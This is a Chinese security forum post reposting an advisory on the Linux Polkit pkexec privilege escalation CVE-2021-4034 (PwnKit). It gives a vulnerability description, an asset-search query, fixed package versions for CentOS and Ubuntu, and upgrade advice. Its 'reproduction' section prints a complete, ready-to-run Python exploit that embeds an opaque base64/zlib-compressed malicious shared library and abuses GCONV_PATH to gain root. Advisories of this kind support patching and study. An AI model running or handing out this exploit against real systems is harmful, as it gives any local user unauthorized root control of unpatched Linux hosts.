安全矩阵

 找回密码
 立即注册
搜索
查看: 2397|回复: 0

Linux Polkit本地权限提升漏洞(CVE-2021-4034)利用和防护

[复制链接]

251

主题

270

帖子

1797

积分

金牌会员

Rank: 6Rank: 6

积分
1797
发表于 2022-1-29 09:45:05 | 显示全部楼层 |阅读模式
本帖最后由 Meng0f 于 2022-1-29 10:01 编辑

Linux Polkit本地权限提升漏洞(CVE-2021-4034)利用和防护

转载于:Hacking黑白红 2022-01-26 23:19
​起因、背景




近日,网络上出现 Linux 下 Polkit 工具集的本地权限提升漏洞,任何非特权本地用户可通过此漏洞获取root权限。目前该漏洞PoC已公开。


漏洞描述
Qualys 研究团队在 polkit 的 pkexec 中发现了一个内存损坏漏洞,该 SUID 根程序默认安装在每个主要的 Linux 发行版上。这个易于利用的漏洞允许任何非特权用户通过在其默认配置中利用此漏洞来获得易受攻击主机上的完全 root 权限。
Polkit 是用于在类 Unix 操作系统中控制系统范围特权的组件。它为非特权进程提供了与特权进程进行通信的有组织的方式。


CVE 编号
  1. CVE-2021-4034<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码

polkit 的 pkexec 存在本地权限提升漏洞,已获得普通权限的攻击者可通过此漏洞获取root权限。
该漏洞CVSS评分:7.8,危害等级:高危

网络资产查询​
(fofa暂停服务可以使用,其他资产搜索引擎查询,zoomeye/360quake/shodan)

app="Linux-操作系统"




漏洞复现​​

  1. 原文链接:
复制代码


  1. # https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py
  2. #!/usr/bin/env python3

  3. # poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
  4. # hardcoded amd64 lib
  5. from ctypes import *
  6. from ctypes.util import find_library
  7. import os
  8. import zlib
  9. import base64
  10. import tempfile

  11. payload = zlib.decompress(
  12.     base64.b64decode(
  13.         """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"""
  14.     )
  15. )
  16. libc = CDLL(find_library("c"))
  17. libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
  18. libc.execve.restype = c_ssize_t

  19. wd = tempfile.mkdtemp()
  20. open(wd + "/pwn.so", "wb").write(payload)
  21. os.mkdir(wd + "/gconv/")
  22. open(wd + "/gconv/gconv-modules", "w").write(
  23.     "module  UTF-8//    INTERNAL    ../pwn    2"
  24. )
  25. os.mkdir(wd + "/GCONV_PATH=.")
  26. os.mknod(wd + "/GCONV_PATH=./gconv")
  27. os.chmod(wd + "/GCONV_PATH=.", 0o777)
  28. os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
  29. os.chmod(wd + "/pwn.so", 0o777)
  30. os.chdir(wd)
  31. cmd = b"/usr/bin/pkexec"
  32. argv = []
  33. envp = [
  34.     b"gconv",
  35.     b"PATH=GCONV_PATH=.",
  36.     b"LC_MESSAGES=en_US.UTF-8",
  37.     b"XAUTHORITY=../gconv",
  38.     b"",
  39. ]

  40. cargv = (c_char_p * (len(argv) + 1))(*argv, None)
  41. cenv = (c_char_p * (len(envp) + 1))(*envp, None)
  42. libc.execve(cmd, cargv, cenv)
复制代码




影响范围
影响版本:由于 polkit 为系统预装工具,目前主流Linux版本均受影响。

修复版本:

  1. CentOS系列:
  2. CentOS 6:polkit-0.96-11.el6_10.2
  3. CentOS 7:polkit-0.112-26.el7_9.1
  4. CentOS 8.0:polkit-0.115-13.el8_5.1
  5. CentOS 8.2:polkit-0.115-11.el8_2.2
  6. CentOS 8.4:polkit-0.115-11.el8_4.2

  7. Ubuntu系列:
  8. Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
  9. Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
  10. Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
  11. Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1
复制代码

根据目前FOFA系统最新数据(一年内数据),显示全球范围内(app="Linux-操作系统")共有 18,290,622 个相关服务对外开放。中国使用数量最多,共有 4,992,151 个;美国第二,共有 1,182,114 个;乌拉圭第三,共有 1,167,780 个;阿根廷第四,共有 1,020,633 个;越南第五,共有 976,527 个。

全球范围内分布情况如下(仅为分布情况,非漏洞影响情况)

中国大陆地区浙江使用数量最多,共有 1,063,776 个;江苏第二,共有 667,446 个;上海第三,共有 529,749 个;广东第四,共有 382,518 个;北京第五,共有 224,567 个。


修复建议
参考漏洞影响范围,及时升级至最新安全版本。

参考
[1] https://ubuntu.com/security/CVE-2021-4034
[2] https://access.redhat.com/security/cve/CVE-2021-4034
[3] https://www.linux.org/forums/lin ... ments-automated.14/
[4]https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
[5]https://nosec.org/home/detail/4959.html
白帽汇从事信息安全,专注于安全大数据、企业威胁情报。
FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。
为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 23:50 , Processed in 0.015624 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表